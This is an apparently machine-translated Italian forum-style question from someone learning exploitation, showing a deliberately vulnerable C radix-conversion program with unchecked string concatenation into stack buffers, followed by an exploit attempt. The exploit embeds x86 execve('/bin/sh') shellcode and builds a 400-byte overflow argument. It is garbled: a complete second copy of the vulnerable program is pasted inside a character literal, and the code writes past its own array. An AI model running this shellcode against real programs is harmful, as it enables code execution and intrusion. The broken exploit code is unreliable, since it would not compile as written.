Il programma seguente accetta tre parametri: Base da convertire da , base da convertire in e il numero da convertire in binario
Come parte della sicurezza dell'apprendimento - sto provando a tamponare questo programma. Sono riuscito a ottenere un errore di segmentazione, tuttavia non vedo un modo per poterlo sfruttare dopo.
Dopo aver esaminato lo stack, ho trovato l'indirizzo di ritorno: 0xbfffffc0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void mystrcat(char *dst, const char *src) {
while (*dst) dst++;
while ((*(dst++) = *(src++)));
}
void mystrncpy(char *dst, const char *src, size_t n) {
if (!n) return;
while (n-- > 1) {
if (!(*(dst++) = *(src++))) return;
}
*dst = 0;
}
int strequal(const char *s1, const char *s2, size_t n) {
char c;
while (n-- > 0) {
c = *(s1++);
if (c != *(s2++)) return 0;
if (!c) return 1;
}
return 1;
}
unsigned long from_radix(char *s, int radix) {
char c;
unsigned char cval;
unsigned long result = 0, oldresult;
for (; ; ) {
c = *(s++);
if (!c) {
return result;
} else if (c >= '0' && c <= '9') {
cval = c - '0';
} else if (c >= 'A' && c <= 'Z') {
cval = c - 'A' + 10;
} else if (c >= 'a' && c <= 'z') {
cval = c - 'a' + 10;
} else {
fprintf(stderr, "invalid character in input\n");
exit(1);
}
if (cval >= radix) {
fprintf(stderr, "invalid digit in input\n");
exit(1);
}
oldresult = result;
result = result * radix + cval;
if (result < oldresult) {
fprintf(stderr, "overflow detected, argument too large\n");
exit(1);
}
}
}
void reverse(char *buffer, size_t len) {
char *p1 = buffer, *p2 = buffer + len - 1, tmp;
while (p1 < p2) {
tmp = *p1;
*(p1++) = *p2;
*(p2--) = tmp;
}
}
char *to_radix(unsigned long n, int radix) {
char buffer[1024], *result = buffer;
int index = 0;
do {
result[index++] = "0123456789abcdefghijklmnopqrstuvwxyz"[n % radix];
n /= radix;
} while (n > 0);
result[index] = 0;
reverse(result, index);
return result;
}
char *find_separator(char **envp) {
char buffer[256], *result;
if (!*envp) {
return NULL;
}
if (!strequal("SEPARATOR=", *envp, 10)) {
return find_separator(envp + 1);
}
mystrncpy(buffer, *envp + 10, sizeof(buffer));
result = buffer;
return result;
}
int main(int argc, char **argv, char **envp) {
char buffer[384];
char *invalue, *outvalue, *separator;
int newradix, oldradix;
unsigned long value;
if (argc != 4) {
fprintf(stderr, "wrong number of params\n");
return 1;
}
oldradix = atoi(argv[1]);
newradix = atoi(argv[2]);
if (newradix < 2 || newradix > 36 || oldradix < 2 || oldradix > 36) {
fprintf(stderr, "radix out of bounds\n");
return 1;
}
invalue = argv[3];
while (*invalue == '0') invalue++;
value = from_radix(invalue, oldradix);
outvalue = to_radix(value, newradix);
separator = find_separator(envp);
if (!separator) separator = " -> ";
buffer[0] = 0;
mystrcat(buffer, invalue);
mystrcat(buffer, separator);
mystrcat(buffer, outvalue);
printf("%s\n", buffer);
return 0;
}
Exploit:
int main(int argc, char *argv[]) {
char dir[] = "path/to/file";
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80/bin/sh";
char *arg1 = "16";
char *arg2 = "2";
char arg4[400];
unsigned int addr = 0xc0000000 - 4 - strlen(dir) - 1 - strlen(shellcode) - 1;
fprintf(stderr, "Using address: %#010x\n", addr);
unsigned int i;
for (i=0; i<400; i++) {
arg4[i] = '1';
}
arg4[400] = '#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void mystrcat(char *dst, const char *src) {
while (*dst) dst++;
while ((*(dst++) = *(src++)));
}
void mystrncpy(char *dst, const char *src, size_t n) {
if (!n) return;
while (n-- > 1) {
if (!(*(dst++) = *(src++))) return;
}
*dst = 0;
}
int strequal(const char *s1, const char *s2, size_t n) {
char c;
while (n-- > 0) {
c = *(s1++);
if (c != *(s2++)) return 0;
if (!c) return 1;
}
return 1;
}
unsigned long from_radix(char *s, int radix) {
char c;
unsigned char cval;
unsigned long result = 0, oldresult;
for (; ; ) {
c = *(s++);
if (!c) {
return result;
} else if (c >= '0' && c <= '9') {
cval = c - '0';
} else if (c >= 'A' && c <= 'Z') {
cval = c - 'A' + 10;
} else if (c >= 'a' && c <= 'z') {
cval = c - 'a' + 10;
} else {
fprintf(stderr, "invalid character in input\n");
exit(1);
}
if (cval >= radix) {
fprintf(stderr, "invalid digit in input\n");
exit(1);
}
oldresult = result;
result = result * radix + cval;
if (result < oldresult) {
fprintf(stderr, "overflow detected, argument too large\n");
exit(1);
}
}
}
void reverse(char *buffer, size_t len) {
char *p1 = buffer, *p2 = buffer + len - 1, tmp;
while (p1 < p2) {
tmp = *p1;
*(p1++) = *p2;
*(p2--) = tmp;
}
}
char *to_radix(unsigned long n, int radix) {
char buffer[1024], *result = buffer;
int index = 0;
do {
result[index++] = "0123456789abcdefghijklmnopqrstuvwxyz"[n % radix];
n /= radix;
} while (n > 0);
result[index] = 0;
reverse(result, index);
return result;
}
char *find_separator(char **envp) {
char buffer[256], *result;
if (!*envp) {
return NULL;
}
if (!strequal("SEPARATOR=", *envp, 10)) {
return find_separator(envp + 1);
}
mystrncpy(buffer, *envp + 10, sizeof(buffer));
result = buffer;
return result;
}
int main(int argc, char **argv, char **envp) {
char buffer[384];
char *invalue, *outvalue, *separator;
int newradix, oldradix;
unsigned long value;
if (argc != 4) {
fprintf(stderr, "wrong number of params\n");
return 1;
}
oldradix = atoi(argv[1]);
newradix = atoi(argv[2]);
if (newradix < 2 || newradix > 36 || oldradix < 2 || oldradix > 36) {
fprintf(stderr, "radix out of bounds\n");
return 1;
}
invalue = argv[3];
while (*invalue == '0') invalue++;
value = from_radix(invalue, oldradix);
outvalue = to_radix(value, newradix);
separator = find_separator(envp);
if (!separator) separator = " -> ";
buffer[0] = 0;
mystrcat(buffer, invalue);
mystrcat(buffer, separator);
mystrcat(buffer, outvalue);
printf("%s\n", buffer);
return 0;
}
';
char *program[] = {dir, arg1, arg2, arg4, NULL};
execve(dir, program, NULL);
return 0;
}